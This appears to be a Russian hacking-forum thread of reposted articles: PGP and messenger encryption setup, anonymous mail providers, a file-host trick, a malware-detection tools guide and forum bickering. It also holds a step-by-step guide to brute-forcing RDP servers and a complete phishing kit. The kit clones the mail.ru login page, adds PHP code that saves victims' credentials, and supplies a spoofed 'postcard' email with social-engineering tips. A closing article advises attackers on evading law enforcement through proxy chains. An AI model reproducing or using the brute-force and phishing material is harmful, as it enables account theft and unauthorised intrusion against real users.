Разные статьи.

[Rogge]

Далее нам надо прописать путь в системную переменную Path до gpg.exe. У меня это выглядит так C:\Program Files\7A\GnuPT-Portable-Edition\GnuPG - 7A, это папка где находятся все портабл проги типа Mirand'ы, PuTTY, Bat'a, Proxifier'a и прочих. Пропишем путь до gpg.exe в системную переменную Path - My Computer > Properties > Advanced > Environment Variables > Path> Edit поставим точку с запятой и добавим путь до файла C:\Program Files\7A\GnuPT-Portable-Edition\GnuPG. Теперь, если пройти в «Свойства > OpenPGP > Выбор версии OpenPGP» мы увидим:

Чтобы видеть изображения, необходимо зарегистрироваться.

Сделаем активным GNU Privacy Guard (GPG), нажмем O’key. В «Свойства > OpenPGP > Настройка OpenPGP» нужно указать пути по аналогии как на рисунке ниже:

Чтобы видеть изображения, необходимо зарегистрироваться.

Давайте создадим ключевую пару для каждого из 2х почтовых ящиков, что у нас есть. Для этого зайдем в «Свойства > OpenPGP > Уаправление ключами OpenPGP» и нам сразу должно вылететь окно мастера создания ключей WinPT с 2мя возможными вариантами: создать новую ключевую пару или импортировать уже имеющуюся:

Чтобы видеть изображения, необходимо зарегистрироваться.

Чтобы видеть изображения, необходимо зарегистрироваться.

 

[Rogge]

Далее Вам надо указать желаемые параметры и создать ключи. На этой стадии, если ничего не менять, будет создан ключ в 2048 бит. Когда будете создавать второй ключ выберите в менеджере ключей «Key > New > Expert» укажите максимальный размер в 4096 бит. Для первого ящика можно было сразу указывать. Там все довольно просто, поэтому я не буду тут останавливаться, а если что непонятно, то смотрите видео урок. Дополнительно в файлах ..\7A\GnuPT-Portable-Edition\GnuPG\gpg.conf и ..\7A\GnuPT-Portable-Edition\Keys\ gpg.conf строку где есть «comment..» заменяем на «comment ""». В письменной форме по этому вопросу у меня все, остальное на видео позже сделаю более подробно.
*****
Качаем Миранду с официального сайта, либо сборку, например от LexSys. Дополнительно нужно скачать плагины SecureIM и Crypto++. Кидаем все это в папку плагинов и заходим в «Настройки > Службы > Шифрование» и настраиваем все как на скрине ниже:

Чтобы видеть изображения, необходимо зарегистрироваться.

В путях пишем: «Исполняемые - C:\Program Files\7A\GnuPT-Portable-Edition\GnuPG\gpg.exe» и «Домашний - C:\Program Files\7A\GnuPT-Portable-Edition\Keys». Потом кликаем на контакте из контакт-листа правой кнопкой и выбираем вверху «GPG» и еще раз «LoadGPGKey» - партнер перед этим должен был прислать Вам свой паблик ключ и Вы должны были его запилить в WinPT т.к. они оттуда подгружаются. Не забываем перезагружать Миранду, чтобы она подхватила новые плагины или применила настройки. Собственно все, «если не было ни единого разрыва», то значок напротив собеседника в контакт-листе должен стать зеленым. Принудительное включение шифрования, если вдруг что-нибудь не работает, делается в настройках на вкладке «Шифрование» правой кнопкой мыши на контакте и «Режим > GPG в Secure IM».
*****

Чтобы видеть изображения, необходимо зарегистрироваться.

Решил попробовать заюзать PSI, собственно скачиваем PSI-Portable и распаковываем. После запуска программа загрузит все необходимые файлы со своего сервера - интернет кстати всегда должен быть включен. Дело в том, что PSI загружает все файлы к себе в папку, а они у нас уже есть - это папка с GPG-Portable. Не очень удобно для каждого протокола отдельный софт использовать т.к. в Миранде сразу все протоколы есть, которые мне необходимы, просто решил потестить и заодно сюда запилить. Вообщем неудобно как то + надо все заново настраивать и импортировать ключи в GPG - чтобы добавить ключ, надо щелкнуть на юзере и выбрать «Assign OpenPGP Key» и только жабу можно юзать, вроде.
*****
Полезные ссылки и дополнительные материалы
(не поленитесь прочекать)

GUI для GnuPG
GPGShell -

Чтобы видеть ссылки, необходимо зарегистрироваться.

- винда
GnuPGK -

Чтобы видеть ссылки, необходимо зарегистрироваться.

- винда
Cryptophane -

Чтобы видеть ссылки, необходимо зарегистрироваться.

- винда
GNU Privacy Assistant GPA -

Чтобы видеть ссылки, необходимо зарегистрироваться.

- вроде бы винда и линукс (хз)

Онлайн веб-шифровальшик
Lockbin -

Чтобы видеть ссылки, необходимо зарегистрироваться.

Email клиенты, поддерживающие шифрование
Claws Mail -

Чтобы видеть ссылки, необходимо зарегистрироваться.

- поддерживает шифрование и является мульти платформенным клиентом т.е. под винду и линукс.
Sylpheed -

Чтобы видеть ссылки, необходимо зарегистрироваться.

- поддерживает шифрование и является мульти платформенным клиентом т.е. под винду и линукс.
Thunderbird -

Чтобы видеть ссылки, необходимо зарегистрироваться.

- поддерживает шифрование и является мульти платформенным клиентом т.е. под винду и линукс.
Pegasus Mail -

Чтобы видеть ссылки, необходимо зарегистрироваться.

- вроде только под винду.

Софт для шифрования
GnuPG -

Чтобы видеть ссылки, необходимо зарегистрироваться.

- софт для винды для шифрования писем и файлов, в составе идет Claws Mail.
PGP Desktop E-mail -

Чтобы видеть ссылки, необходимо зарегистрироваться.

cGeep -

Чтобы видеть ссылки, необходимо зарегистрироваться.

ArticSoft -

Чтобы видеть ссылки, необходимо зарегистрироваться.

Серверы публичных PGP ключей

Чтобы видеть ссылки, необходимо зарегистрироваться.

Чтобы видеть ссылки, необходимо зарегистрироваться.

- Massachusetts Institute of Technology Keyserver

Чтобы видеть ссылки, необходимо зарегистрироваться.

- Japan KeyServer

Чтобы видеть ссылки, необходимо зарегистрироваться.

Разнополезное
GnuPG – OpenSource шифрование и цифровые подписи -

Чтобы видеть ссылки, необходимо зарегистрироваться.

Шифрование в Linux с использованием GnuPG -

Чтобы видеть ссылки, необходимо зарегистрироваться.

Как проводить встречи для подписи ключей GnuPG -

Чтобы видеть ссылки, необходимо зарегистрироваться.

Еще кое что
Сообщение от b4h
Вот еще кое чего решил добавить, что то у меня уже было, а что то переводил
с англ., все локации серверов по MaxMind.com - такое ощущение, что он временами
ошибается. Точность инфы о сервисах не гарантирую - все относительно. Думаю
затестить novo-ordo.com в Панаме и countermail.com в Швеции.
Код:
keptprivate.com US United States DC District of Columbia Washington
все сообщения шифруются на их серверах алгоритмом Blowfish, не поддерживает PGP,
собеседник должен иметь аккаунт у них, чтобы с Вами переписываться
--------------------------------------------------------------------------------
lavabit.com US United States TX Texas Dallas
--------------------------------------------------------------------------------
mailhaven.com US United States NY New York Brooklyn
--------------------------------------------------------------------------------
neomailbox.com US United States MO Missouri Saint Louis
поддерживает PGP, якобы скрывает IP в заголовках писем и позволяет выбрать IP из
US или Switzerland
--------------------------------------------------------------------------------
4securemail.com US United States TX Texas Houston
поддерживает PGP шифрование, сканирует письма антивирусом (хз зачем, если инфа
зашифрована), скрывает IP в заголовках
--------------------------------------------------------------------------------
securenym.net US United States TX Texas Houston
все как у всех в штатах
--------------------------------------------------------------------------------
mutemail.com BS Bahamas New Providence Nassau
--------------------------------------------------------------------------------
safe-mail.net IL Israel Tel Aviv Tel Aviv
--------------------------------------------------------------------------------
s-mail.com RU Russian Federation
лучший e-mail провайдер из всех представленных - советую!
================================================================================
================================================================================
hushmail.com CA Canada British Columbia Vancouver
веб PGP шифрование в браузере, скрытие IP, возможно реселлер
--------------------------------------------------------------------------------
cyber-rights.net CA Canada Ontario Toronto
--------------------------------------------------------------------------------
cryptoheaven.com DM Dominica Saint George Roseau
вроде поддерживает веб-PGP шифрование
--------------------------------------------------------------------------------
anonymousspeech.com PA Panama
поддержка PGP шифрования, скрытие IP в заголовках писем
--------------------------------------------------------------------------------
novo-ordo.com PA Panama
веб интерфейс поддерживает GPG/PGP шифрование - а сервера типа ваще
TrueCrypt зашифрованы - хз, мб правда
--------------------------------------------------------------------------------
anonmail.de DE Germany Munich
через Google на русский переводит ))
--------------------------------------------------------------------------------
countermail.com SE Sweden
поддержка веб-PGP шифрования, скрытие IP в заголовках писем
--------------------------------------------------------------------------------
katzglobal.com SG Singapore Singapore
5 локаций на выбор Malaysia China India Singapore Hong Kong
--------------------------------------------------------------------------------

 

[Rogge]

Если желаете задать вопросы ТС,то как минимум НЕ ПОЛЬЗУЙТЕСЬ МЫЛОМ.Случаи всякие бывают.

У меня мыла нет!
Теперь я понял на что вы клоните.

 

[Rogge]

Я не клоню,а напрямую говорю о том,что подозреваю Вас в определённом стремлении к звёздам на погонах.
Но только подозреваю!При уверенности,сразу-бы в баню отправил.

Я не к чему не стремлюсь.
Ну мне кажется большая часть считает что я набиваю посты чтоб потом кинуть.

 

[Rogge]

И как модератор я обязан предупредить пользователей ресурса о моих подозрениях.:)

Я тут не с кем не веду не собираюсь вести сделки.
Ко мне какие подозрения не пойму вообще, если мне что то продавать запрещено и выполнять какие то услуги к примеру обменик.

 

[Rogge]

И давайте так если я что то все таки соберусь продавать на форуме то я должен буду в нести депозит.

 

[Rogge]

Возможно мои мысли и желания очень банальны,но форум не матерей-одиночек.Здесь люди пытаются копейку заработать,а некоторые-опыта.

А я тут не чего не собираюсь зарабатывать и не приобретать опыта (можно сказать все это есть)

 

[Rogge]

Вам не запрещали,а данный пункт Вы внесли по договорённости с АГ.
(Не надо путать показания).

Ну извиняюсь если что не так.
Я про то что не буду тут продавать не чего вот и открыл эту тему.

 

[Bad Santa]

А где вы увидели ошибку в подписи?

Грамматических ошибок к примеру я не вижу (что что то-не в счёт),но на мысли наводит определённые.

Ну так-то слово вИду пишется через Е.

 

[Rogge]

Как получить Голд-статус на депозите бесплатно! (рабочий способ)

Чтобы получить Голд на сутки, нужно:

1. Зарегистрироваться и после залогиниться на depositfiles.com
2. Зарегистрироваться на lichiko.com (это сервис микроблогов, который они пытаются пиарить ^_^``)
3. Сделать на lichiko.com 5-6 записей (любых, хоть из словаря текст вставить)
4. Дождаться конца часа (14:56, 15:56, 16:56 и т.д., в общем последние 5 минут часа), обновить свою страничку на lichiko и нажать на кнопку справа «Get Free Gold».
5. Все, если ты залогинен на депозите, то Голд на сутки твой.

Если вдруг не повезло — можно дождаться конца следующего часа, и т.д.
Но лично мне выдали с первого раза.

Вот такая хитрость, надеюсь, кому-то пригодится.

А можно получить Голд-статус на неделю.
Если, будучи залогиненным на депозите, скачать оттуда более 100 файлов (размером >20 мб), то дадут Голд-статус на неделю ^_~
Если скачать 170 файлов, то Голд-статус дают на 2 недели, и т.д.

 

[Rogge]

Ну так-то слово вИду пишется через Е.

Не увидал просто, писал утром рано (не спал всю ночь)

 

[Rogge]

Брут дедиков [by Capcha]

1. Нам нужен VNC_Byauth сканер скачать его можно

Чтобы видеть ссылки, необходимо зарегистрироваться.

2. Нужен tss-brute.exe который идёт вместе с брутом от спайдера , качаем от

Чтобы видеть ссылки, необходимо зарегистрироваться.

3. Нужен мой скрипт на PHP для генерации BAT файлов (Смотрим в аттаче) или качаем от

Чтобы видеть ссылки, необходимо зарегистрироваться.

4. Прога от RankroR'a для выдирания гудов ,которую он делал спец. для меня качаем (В атаче) или берём

Чтобы видеть ссылки, необходимо зарегистрироваться.

5. Как всегда руки.
6. Мозг тоже пригодится.

и сохраняем.

6. Создаём в той же папке где лежит наш BAT фаил папку которую вы вписывали в скрипте(ОБЯЗАТЕЛЬНО)

7. После выполнения Брута заходим в нашу папку(см п.6) и вставляем в него программу от Rankor'а. Создаём папку output и вней output.txt

8. Вписываем в программе success , если хоть один дед сбручен программа вам покажет это, если что-то сбрутилось то смотри output.txt там вы увидите IP адресс деда и пароль.

9. Заходим в MSTSC (тобиш RDP) и проверяем наши деды

10. Фсё на этом я закончил если что-то не ясно задаём вопросы тут ))

Для тех у кого не работает брут:
1. Если у вас после запуска бат файла не появляется окно РДП клиента, а запрос на ввод пароля и логина, то скачайте 5версию MSTSC и установите её в безопасном режиме.

2. Если у вас загружается окно РДП клиента, но не происходит подбор паролей, попробуйте отключить брэндмауэр. Иногда брут не может выполнять свои действия если язык на дедике не Англиский.

3. Если не происходит подбор паролей, то поменяйте в панели управления язык по умолчанию на Англиский.

3. Если у вас не работает мой скрипт (если выводит лишние слэши) , это значит что вы не залили .htaccess который идёт вместе с моим скриптом, если так и не получилось запустить, то воспользуйтесь ссылкой которая ниже на полностью работающий сайт с моим скриптом.

 

[Rogge]

Не понял......

Да меня он сам запутал.
Вот-

Чтобы видеть ссылки, необходимо зарегистрироваться.

 

[yuhop]

Слово веду никак не может быть вИду, т.к. пров. слово вести(глагол), но никак не ВИСТИ!

Чтобы видеть ссылки, необходимо зарегистрироваться.

 

[yuhop]

Значение
направлять движение, указывать дорогу, помогать кому-либо или заставлять кого-либо идти, двигаться в определённом направлении (о движении, совершаемом неоднократно или не в определённом направлении, в отличие от сходного по смыслу гл. водить) ◆ Куда вы нас ведёте?
И спасибо что исправили слово ПРОДО(А)ВАТЬ!

 

[Rogge]

Ищем скрытые процессы в Windows

Когда Вы запускаете свой ПК, естественно будут запущены некоторые процессы. Некоторые из них работают по умолчанию, некоторые запущены Вами. Поскольку Вы продолжаете устанавливать все больше программного обеспечения, список процессов становится больше и больше. Однажды он достигает стадии,когда им становится трудно управлять и получается полнейшая неразбериха. Тут могут и появиться всякого рода нежелательное ПО. Будь то кейлогеры, боты и.т.д

Сегодня я пролью некоторый свет на различные методы обнаружения шпионящего ПО или любых вредоносных программ, работающих на компьютере и запускающемися от основного до усовершенствованного уровня.

Обычно программами запуска управляют посредством различных настроек реестра. Если Вы - эксперт, то Вы можете отредактировать эти настройки реестра самостоятельно.

Ниже я изложил некоторые инструменты, которые помогут решить Ваши насущные проблемы))

1. MSConfig - инструмент идет с Windows. Это не только показывает Вам список процессов, которые запущены по умолчанию, когда Вы запускаете свой компьютер, но также и позволяет Вам изменять выполнение процессов запуска.

2. HijackThis- это очень хороший инструмент, который показывает все записи запуска (процессы, BHOs, службы.. и т.д.) из приложений не-Windows. Этим путем Вы можете легко узнать и завершить подозрительный/е процесс/ы.

3. Autoruns- еще один хороший инструмент - Autoruns от Sysinternals. Этот инструмент показывает все записи запуска (процессы, службы, драйверы, Winlogon сообщают записям, winsock провайдеры и т.д.).

4. Process Explorer- вы можете использовать 'Process Explorer' от SysInternals.com, чтобы узнать более подробную информацию обо всех рабочих процессах.

Как только Вы находите процесс или DLL, Вы хотите знать если действительно шпионящее ПО или любой вид программ вредоносного программного обеспечения. Вы можете узнать это, соединяясь с ProcessLibrary.com. Этот веб-сайт предоставляет информацию о процессе или DLL, чтобы узнать добрый ли это процесс или нет. Вы можете всегда использовать Google, чтобы узнать больше информации о любом подозрительном процессе взгляда.

5. RemoteDLL - некоторые из шпионящих ПО используют DLL, чтобы контролировать и управлять их жизненным циклом. Обычно они DLL введены в процессы окон, такие как explorer.exe, winlogon.exe и т.д., чтобы скрыть их присутствие. Вы можете удалить их DLL из процесса, используя инструмент RemoteDLL.

6. Анти-Rootkits - все вышеупомянутые инструменты - основные, чтобы узнать больше информации о рабочих программах. Но есть программы с подвохом , такие как rootkits, которые не могут быть обнаружены обычными программами. Вам понадобиться более серьёзный инструмент, чтобы что бы поймать за хвост эти самые rootkit'ы.


P.S. Антивирусы или различные Анти-шпионы не всегда смогут защитить Вас от новых вредоносных программ. Вы должен защитить себя любимых самостоятельно.

 

[Rogge]

Создаём собственный фейк.

Готовый Фейк это конечно здорово, но фейк сделаный собственными руками намного лучше. Хоть всемирная паутина и переполнена готовыми фейками и с помощью Гугла хуть черта лысого найдешь , но все же решил написать статейку о том, как изготовить Фейк самостоятельно , даже если вы не знакомы ни с PHP ни с HTML . И так, для примера возьмем один из распространенных почтовиков, а иммено

Чтобы видеть ссылки, необходимо зарегистрироваться.

и будем делать подложную страничку АВТОРИЗАЦИИ .

1. Создадим файл index.php :
Для этого запускаем браузер ( я буду работать в Opere). Идем по ссылке

Чтобы видеть ссылки, необходимо зарегистрироваться.

, перед вами загрузилась страница Авторизации .

Далее жмем - "Вид", в ниспадающем меню выбираем строку "Исходный текст" - жмем. Перед вами открылось новое окно с человеконепонятным текстом гы-гы-гы)) Все нормально, нам это и нужно... Теперь в этом новом окне жмем "Правка", затем жмем "Выделить все" опять жмем "Правка" и "Копировать". Фух.. не надоело тыкать ? А мну надоело ((( Тогда открываем Блокнот и жмем Ctrl+V . Все, наш текст в блокноте приступим к его редактированию. Теперь нам необходимо найти следующую строку


Код:
<form method="post" action="auth" onSubmit="return CheckForm(this);">
и заменить на

Код:
<form method="post" action="654321.php" onSubmit="return CheckForm(this);">
(подсказка: жмем Ctrl+H , далше собразите сами)

И стираем три строки кода в которых содержится hidden они распологаются ниже
вот они:


Код:
<input type="hidden" name="page" value="">

<input type="hidden" name="post" value="">

<input type="hidden" name="login_from" value="">
Теперь сохраняем файл с именем index.php .

2. Теперь создадим скрипт отвечающий за запись переменных Login, Password и Domain - 654321.php

Открываем блокнот и создаем там файл со следующим содержанием:


Код:
<?PHP

$Login = $_POST['Login'];Логин
$Domain = $_POST['Domain'];//Домен
$Pass = $_POST['Password'];//Пароль
$c = "$Login@$Domain:$Pass";
$fp = fopen("654321","a+"); //открыть файл базы
fwrite($fp,"\n $c <br> \n");//записываем все
fclose($fp); //закрываем
header("Location: http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f");
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"//куда пошлем пользователя после того как он ввел данные!

?>
а пошлем мы его на заранее подготовленную открытку....этот момент очень важен, жертва не должна ничего заподозрить.

3. Теперь сздадим файл базы - 654321 куда будут сливатся Login, Password и Domain. Для этого открываем Блокнот и сохраняем пустую страничку с именем 654321.

Все фейк готов полностью осталось только залить его на хостинг и присвоить PHP скриптам права 755 , а файлу базы права 777.

Результат работы можете посмотреть сдесь:НАШ ФЕЙК

На этом пожалуй можно было бы и закончит статью.... Но думаю, что без примера, как заставить жертву зайти на подложную страничку, статья была бы не полной. Поэтому продолжу повествование.

И так, тут нам понадобиться вся мощь нашего серого вещества и немного Соц инженерии, а может и наоборот немного серого вещества и вся мощь Соц инженерии зы))). Первое что надо помнить, Жертва тоже человек, а значит думает так же как и Вы )))) гы-гы-гы)) ну почти как Вы)) а посему представте что вам приходит письмо от неизвестного человека. Вы будете смотреть ? Лично я нет... и от различных сомнительных сервисов тоже не буду. А значит писать надо от имени почтового сервиса на котором сидит жертва.. А что для этого нужно? А нужно изучить почтовый сервис какие рассылки он отправляет, какие услуги представляет, не плохо бы знать и о самом юзере (жертве) это сильно упростит задачу..мона просто прислать открытку к дню рождения от имени почтового сервиса.. это не вызывает подозрений...можно прислать приглашение на сайт знакомств, для парней от имени девушки , для девушек от имени парней (такое присутствует на mail.ru) ...можно прислать, что угодно, но это должно быть интересное или от имени почтового сервиса на котором сидит жертва Вобщем тут думайте сами.. у вас есть на это голова)))

Теперь о технической стороне .. для того , что бы отправить от имени почтового сервиса Вам прийдется воспользоватся анонимной отправкой почты таких сервисов полно в инете, к примеру можно воспользоватся вот этим

Чтобы видеть ссылки, необходимо зарегистрироваться.

. Письмо нужно составлять в html формате иначе вы не скроете ссылку на подложную страничку. Вобщем ближе к телу , как говорил Ги.Де. Мопасан, привожу пример письма для просмотра открытки, раз уж мы стали делать фейк на мейле.

Код:
<table class=readlet cellpadding=0 cellspacing=0 border=0 width="100%"><tr>
<td>
<div id=let_body><base href="http://win.mail.ru/cgi-bin/readmsg"><table cellspacing=0 cellpadding=5><tr valign=top>
<td><a href="http://cards.mail.ru" target="_blank"></a></td>
<td><font color="#333333" face="Arial" size="2">

Здравствуйте, на Ваше имя отправлена открытка.

Отправитель открытки: <a href="http://cards.mail.ru/" target="_blank" _base_href="http://win.mail.ru/cgi-bin/readmsg"><font color="#0857a6">Открытки@Mail.Ru</font></a>

Открытку Вы можете посмотреть в течение 90 дней по ссылке

<a href="http://priz.croe.net./" target="_self"><font color=#0857A6>http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f</font></a>

Нажмите на неё, чтобы попасть на страницу с открыткой.

<hr align="left" color="silver" size="1" width="100%">
Чтобы своевременно узнавать о ближайших праздниках, именинниках и конкурсах,

<a href="http://content.mail.ru/pages/p_782.html" target="_blank" _base_href="http://win.mail.ru/cgi-bin/readmsg"> подпишитесь на рассылку</a>.


<a href="http://cards.mail.ru/" target="_blank" _base_href="http://win.mail.ru/cgi-bin/readmsg"><font color="#0857a6">Открытки@Mail.Ru</font></a> - открытки на все случаи жизни!<br><br><br>

</font></td></tr></table>
Данный код вставляем в окно СООБЩЕНИЕ, в строке ОТ КОГО пишем [email protected], в строке ТЕМА пишем ОТКРЫТКА и жмем отправить.

Не забудте только за ранее подготовить открытку , это важный момент Именно на нее мы будем отправлять жертву в файле 654321.php У жертвы не должно возникнуть сомнений, она должна получить то, что хотела увидеть и Вы должны увидеть то, что хотели гы-гы-гы )))

Ну вот и ВСЕ... хотя нет, забыл сказать о уязвимости... дабы самим не попастся, запомните единственное правило : ВСЕГДА ПРИ АВТОРИЗАЦИИ СМОТРИТЕ АДРЕСНУЮ СТРОКУ Подложный сайт мона увидеть только в ней.

 

[Rogge]

Как ловят хакера...

Не новая статья но тем не менее очень актуальна.

Параноик — это всего лишь человек, которому известны факты."
Уильям С. Берроуз


Не проходит буквально ни одной недели, чтобы в Интернет-новостях не появилось сообщение об успешном задержании спецслужбами очередного компьютерного преступника. Причем, чаще всего речь идет не о бестолковых рассыльщиках троянов, а о достаточно грамотных и, если можно так сказать, профессиональных хакерах, наверняка, уделявших собственной безопасности не последнее место. Достаточно упомянуть Линн Хтуна из знаменитой группы «Fluffi Bunni» («Пушистый кролик») и членов интернациональной кракерской организация DrinkOrDie.

Казалось бы, времена Митника давно прошли и пора бы уже сделать определенные выводы, касающиеся собственной безопасности. Так в чем же дело? За счет каких механизмов спецслужбам удается столь эффективно отслеживать и «уничтожать» информационных «преступников»? В каких лабиринтах мировой паутины затаилась скрытая угроза? Чего следует опасаться хакеру? Об этом сегодня мы и поговорим. Я детально проанализировал возможные ошибки и пути отлова хакеров на сегодняшний момент, результаты моих «исследований» лежат пред тобой. Но не исключено, что в чем-то я могу сильно ошибаться, т. к. точное заключение может дать только эксперт, который непосредственно «крутится» в сфере государственной безопасности, но от них мы никогда ни чего не узнаем.

Неуязвимость — это иллюзия

Совершив не один десяток взломов и не попавшись в руки правосудия у многих молодых хакеров возникает иллюзия собственной супер секьюрной безопасности. На самом деле, это объясняется только тем, что ты еще пока не понадобился «нужным» людям. Спецслужбы не будут предпринимать ни каких действий, пока не заподозрят в твоих деяниях угрозу национальной безопасности или пока не увидят у себя на столе заявление от пострадавших (не исключено также, что ты уже «ходишь» под колпаком, просто не догадываешься об этом ). Обычно, хакеру играет на руку, что большинство отхаканных не обращается «куда следует», а предпочитают промолчать и забыть о взломе. Например, кому охота связываться с федералами из-за какого-то там дефейса, или какой прикол админу сообщать начальству, что на его серверах хакеры пооткрывали себе шеллы — ему же в первую очередь и влетит, поэтому он по-тихому залатает дыры и сделает вид, что ничего не было. Многие компании не хотят заводить дело, т. к. бояться, что информация о взломе станет доступна общественности, а это может принести дополнительные убытки из-за подпорченной репутации. Нельзя также исключать наличие организаций, которые вообще ни при каких обстоятельствах не будут связываться со спецслужбами, т. к. сами имеют определенные грешки. Но так бывает не всегда и даже такое, по сути, мелкое хулиганство как дефейс может стать причиной преследования спецслужб. Например, действия группы Fluffi Bunni привлекли внимание ФБР после терактов 11 сентября, когда на множестве сайтов появились лозунги «Fluffi Bunni Goes Jihad» ("пушистый кролик идёт на джихад"). Это было расценено как протест против американской глобальной кампании по борьбе с терроризмом, т. е. по сути членов группы уровняли с террористами (а это уже не шуточные сроки).
Таким образом, можно выделить особую категорию хакерских проделок, которые ПОЧТИ всегда становятся работой спецслужб — это воровство, вымогательство, шпионаж и «наезд» на государственные сервера. Людей в штатском может привлечь и просто высокая хакерская активность, например, огромный список дефейсов на «хакерском» сайте. Обычно, общение со спецслужбами, в этом случае, ограничивается без инициативным обыском в квартире хакера или разговор «по душам» с ярко светящей в глаза лампой (немало таких историй можно почитать на хакерских сайтах, например, здесь:

Чтобы видеть ссылки, необходимо зарегистрироваться.

, статья "Скучный шмон" и пр.). Надо полагать, что цель таких мер связана с профилактикой, т. е. показать хакеру, что он находится под контролем и пресечь возможные будущие, более тяжкие преступления. Если это так, то нужно только снять защитный экран с монитора перед нашими родными спецслужбами за заботу о подрастающем поколении.

Вывод первый: профессионалы никогда не чувствуют себя в безопасности, паранойя — вечный спутник хакера.

Не существует "своих" и "чужих" спецслужб

Среди многих отечественных представителей андеграунда существует одно ошибочное убеждение, что если не трогать российские сервера, то за собственную безопасность можно вообще не бояться. Да, действительно, неурегулированные законы об экстрадиции хакеров из России, в большинстве случаев позволяют отечественным спецслужбам игнорировать просьбы о сотрудничестве своих зарубежных коллег и даже вступать с ними в конфронтацию. Широко известна история, когда следователь Игорь Ткач из Управления ФСБ чуть не возбудил уголовное дело против агента ФБР Майкла Шулера после ареста последними двух Челябинских хакеров Алексея Горшкова и Василия Иванова (с деталями дела можно ознакомиться в Интернете, в т. ч. и на нашем сайте). Но время не стоит на месте и однажды все может измениться, и тогда тебе напомнят все твои грешки, к тому же ты уже сейчас лишаешь себя возможности безбоязненного выезда за рубеж (не обязательно в США), т. к. тебя там уже могут ждать. Пример тому, недавняя история с 25-летним украинским хакером, который, был пойман в Бангкоке при содействии Таиландских и Американских спецслужб. Большинство хакеров xUSSR попадают в руки правосудия именно за пределами своей родины (примеров тому можно приводить много).

Вывод второй: профессионалы не проводят грань между российскими и зарубежными спецслужбами — спецслужбы всех стран одинаково опасны для хакера. Практика показывает, что иностранные спецслужбы представляют собой большую угрозу, т. к. уж очень сильно «там» не любят отечественных хакеров.

Схема хакерской атаки

Хакер выходит в сеть через обычного провайдера, затем через цепочку анонимных proxy к удаленному шеллу и уже с шелла проводит атаку. Шеллом обычно является захваченная (поrootанная) машина или скарженная на хостинге торгующего шеллами. В приведенном случае, задача шелла не анонимность, а обеспечение ресурсами, т. к. шелл обычно располагается на мощном сервере с приличным каналом. Конечно, эта не единственная схема: цепочку анонимных прокси может заменить цепочка из одних только шеллов или шелл, в схеме, вообще может отсутствовать, также прокси-сервера могут идти только от удаленного шелла до цели (это если хакер хочет сохранить шелл) и т. п. Непрофессионалы вообще ограничиваются единственным прокси. Кроме того, хакер может выходить в Интернет через локальную сеть (например, из Интернет-кафе). Но в данном контексте это все не существенно и приведенного рисунка достаточно чтобы рассмотреть большинство опасностей и слабых мест, которые могут подстерегать хакера в плане собственной безопасности.

Не все анонимные прокси одинаково анонимны

Начнем с середины — с proxy-серверов. Частенько можно услышать мнение, что если сидеть за цепочкой proxy, которые будут расположены в разных частях света, то это обеспечит практически 100% анонимность. При этом правда отмечается, что прокси имеют свойства вести логи и по логам, в принципе, можно восстановить всю цепочку. Уже одно это утверждение не дает 100% анонимности, т. к. если распутыванием займутся серьезные люди, то довести дело до конца у них есть все шансы, даже самых несговорчивых админов можно купить, запугать, хакнуть, наконец, сам proxy-сервер и выудить логи. Здесь главное время, т. к. логи имеют свойство удаляться, а прокси-сервера бесследно исчезать. Но это было бы пол беды, т. к. по неподтвержденным слухам большинство анонимных proxy принадлежат самим спецслужбам (!). Это логично, т. к. если кто-то хочет анонимности, значит, ему есть что скрывать, а если есть что скрывать, значит, это либо террорист, либо хакер (а для спецслужб некоторых стран это вообще одни и те же понятия). Отсюда должно быть понятно стремление федералов контролировать эти самые прокси-сервера. Да и как объяснить ТАКОЕ количество анонимных прокси в Интернете — ведь хоть убей не пойму, какая может быть выгода от этого их хозяевам. Если бесплатные почтовые службы или поисковые системы еще могут жить за счет рекламы, то кроме IP-адреса прокси-сервера, клиент совершенно ни чего не знает о последнем (если конечно proxy не анонимайзер). Кстати, этому есть и косвенные подтверждения, ни однократно были замечены случаи, когда анонимный прокси-сервер делал попытку подключиться к клиенту, например, на 139 порт (файервол это отлично фиксирует). Как ты думаешь, что может понадобиться АНОНИМНОМУ ПРОКСИ-СЕРВЕРУ на 139 порту?!
На сайте

Чтобы видеть ссылки, необходимо зарегистрироваться.

можно прочитать следующую фразу:
«Возможно, proxy контролируются спецслужбами, поэтому рекомендуем использовать только те, которые расположены за пределами России (СНГ) и стран НАТО». Однако этот совет не может быть хорошим. Ведь, что мешает создать разветвленную сеть «анонимных» proxy-серверов по всему миру, например, российским спецслужбам? Ничего. Причем прокси-сервера можно располагать прямо в посольствах (наверняка там тусят свои админы). А, учитывая, что постоянное подключение к Интернету имеют около 140 стран, то создать рассредоточенную сеть обойдется в совсем небольшие деньги даже для России, а про USA я вообще молчу. А если эти прокси-сервера еще к тому же будут иметь приличную скорость и все возможности, типа SOCKS5? Ведь не секрет, что большинство хакеров отбирают proxy по скорости. Возможно также, что сеть прокси-серверов совместно используется спецслужбами всех стран, что-то вроде Интерпола. Но сдается мне, что, все-таки, большинство «анонимных» прокси-серверов принадлежат одной великой супер-державе, догадайся какой? Поэтому, наверное, не стоит рассла@@@@@ся, если прокси из твоей цепочки расположены в Нигерии, Японии, Финляндии и т. д., т. к. вполне может случиться так, что они будут принадлежать одной спецслужбе.

Даже если в цепочку попадает сервер, не принадлежащий им, то это не проблема, т. к. достаточно выяснить с какого из своих серверов к нему могло осуществляться подключение. Конечно, если в цепочке окажутся идущие подряд два и более чужих прокси-сервера, то тут придется договариваться с их админами (как это может делаться, смотри выше). Кстати, возможно именно контролирование большинства прокси в Интернете позволяет спецслужбам делать в считанные дни официальные заявления, о том, из какой страны осуществлялась хакерская атака или откуда пошло распространение вируса и т. д., причем вплоть до таких экзотических стран как Филиппины. Возможно также, что подконтрольные прокси в странах НАТО входят в систему Эшелон.

 

[Rogge]

Даже если в цепочку попадает сервер, не принадлежащий им, то это не проблема, т. к. достаточно выяснить с какого из своих серверов к нему могло осуществляться подключение. Конечно, если в цепочке окажутся идущие подряд два и более чужих прокси-сервера, то тут придется договариваться с их админами (как это может делаться, смотри выше). Кстати, возможно именно контролирование большинства прокси в Интернете позволяет спецслужбам делать в считанные дни официальные заявления, о том, из какой страны осуществлялась хакерская атака или откуда пошло распространение вируса и т. д., причем вплоть до таких экзотических стран как Филиппины. Возможно также, что подконтрольные прокси в странах НАТО входят в систему Эшелон.

Что такое Эшелон?
